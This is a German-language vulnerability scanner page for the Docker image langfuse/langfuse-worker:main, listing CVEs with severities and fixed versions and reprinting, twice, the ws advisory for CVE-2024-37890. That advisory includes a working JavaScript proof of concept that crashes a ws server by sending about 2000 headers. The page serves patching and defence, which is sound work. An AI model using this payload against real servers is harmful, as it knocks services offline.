Bekannte Sicherheitslücken (CVE) in langfuse/langfuse-worker:main

CVE-ID	Schweregrad	Paket	Betroffene Version	Behobene Version	CVSS-Score
CVE-2024-37890	high	pkg:npm/ws@8.13.0	>=8.0.0,<8.17.1	8.17.1	8.7
Impact A request with a number of headers exceeding the`server.maxHeadersCount` threshold could be used to crash a ws server. Proof of concept const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'+-.0123456789abcdefghijklmnopqrstuvwxyz^_`\|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); Patches The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e) Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: Reduce the maximum allowed length of the request headers using the `--max-http-header-size=size` and/or the `maxHeaderSize` options so that no more headers than the `server.maxHeadersCount` limit can be sent. Set `server.maxHeadersCount` to `0` so that no limit is applied. Credits The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230. References https://github.com/websockets/ws/issues/2230 https://github.com/websockets/ws/pull/2231 Relevance:* The CVE-2024-37890 is relevant if the langfuse/langfuse-worker:main image utilizes vulnerable dependencies or libraries affected by this specific vulnerability. It could be critical in scenarios where the worker processes untrusted input or interacts with external systems, potentially leading to exploitation. Otherwise, its impact may be minimal in controlled, isolated environments. (Note: Relevance analysis is automatically generated and may require verification.) Package URL(s): `pkg:npm/ws@8.13.0` `pkg:npm/ws@8.16.0` More Info (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-37890
CVE-2025-59288	high	pkg:npm/playwright@1.47.2	<1.55.1	1.55.1	8.7
CVE-2024-21538	high	pkg:npm/cross-spawn@7.0.3	>=7.0.0,<7.0.5	7.0.5	7.7
CVE-2025-58188	high	pkg:golang/stdlib@1.23.10	<1.24.8	1.24.8	7.5
CVE-2025-58187	high	pkg:golang/stdlib@1.23.10	<1.24.9	1.24.9	7.5
CVE-2025-61729	high	pkg:golang/stdlib@1.23.10	<1.24.11	1.24.11	7.5
CVE-2025-61723	high	pkg:golang/stdlib@1.23.10	<1.24.8	1.24.8	7.5
CVE-2025-61725	high	pkg:golang/stdlib@1.23.10	<1.24.8	1.24.8	7.5
CVE-2025-64756	high	pkg:npm/glob@10.3.10	>=10.2.0,<10.5.0	11.1.0	7.5
CVE-2025-47906	medium	pkg:golang/stdlib@1.23.10	<1.23.12	1.23.12	6.5

CVE-ID

Schweregrad

Paket

Betroffene Version

Behobene Version

CVSS-Score

CVE-2024-37890

high

pkg:npm/ws@8.13.0

>=8.0.0,<8.17.1

8.17.1

8.7

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Relevance:

The CVE-2024-37890 is relevant if the langfuse/langfuse-worker:main image utilizes vulnerable dependencies or libraries affected by this specific vulnerability. It could be critical in scenarios where the worker processes untrusted input or interacts with external systems, potentially leading to exploitation. Otherwise, its impact may be minimal in controlled, isolated environments. (Note: Relevance analysis is automatically generated and may require verification.)

Package URL(s):

pkg:npm/ws@8.13.0
pkg:npm/ws@8.16.0

More Info (NVD):

https://nvd.nist.gov/vuln/detail/CVE-2024-37890

CVE-2025-59288

high

pkg:npm/playwright@1.47.2

<1.55.1

1.55.1

8.7

CVE-2024-21538

high

pkg:npm/cross-spawn@7.0.3

>=7.0.0,<7.0.5

7.0.5

7.7

CVE-2025-58188

high

pkg:golang/stdlib@1.23.10

<1.24.8

1.24.8

7.5

CVE-2025-58187

high

pkg:golang/stdlib@1.23.10

<1.24.9

1.24.9

7.5

CVE-2025-61729

high

pkg:golang/stdlib@1.23.10

<1.24.11

1.24.11

7.5

CVE-2025-61723

high

pkg:golang/stdlib@1.23.10

<1.24.8

1.24.8

7.5

CVE-2025-61725

high

pkg:golang/stdlib@1.23.10

<1.24.8

1.24.8

7.5

CVE-2025-64756

high

pkg:npm/glob@10.3.10

>=10.2.0,<10.5.0

11.1.0

7.5

CVE-2025-47906

medium

pkg:golang/stdlib@1.23.10

<1.23.12

1.23.12

6.5

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

CVE-Scan für langfuse/langfuse-worker:main

Docker-Image-Sicherheitslücken-Scanner

27 Bekannte Sicherheitslücken in diesem Docker-Image

Impact

Proof of concept

Patches

Workarounds

Credits

References

Schweregradstufen

Über den CVE-Scanner

Warum CVE-Scanning für deine Docker-Images wichtig ist

Was ist eine CVE?

Vorteile des CVE-Scannens

Wie der CVE-Scanner funktioniert

Die Bedeutung des Patchens von Docker-Images

Du willst dieses Image deployen?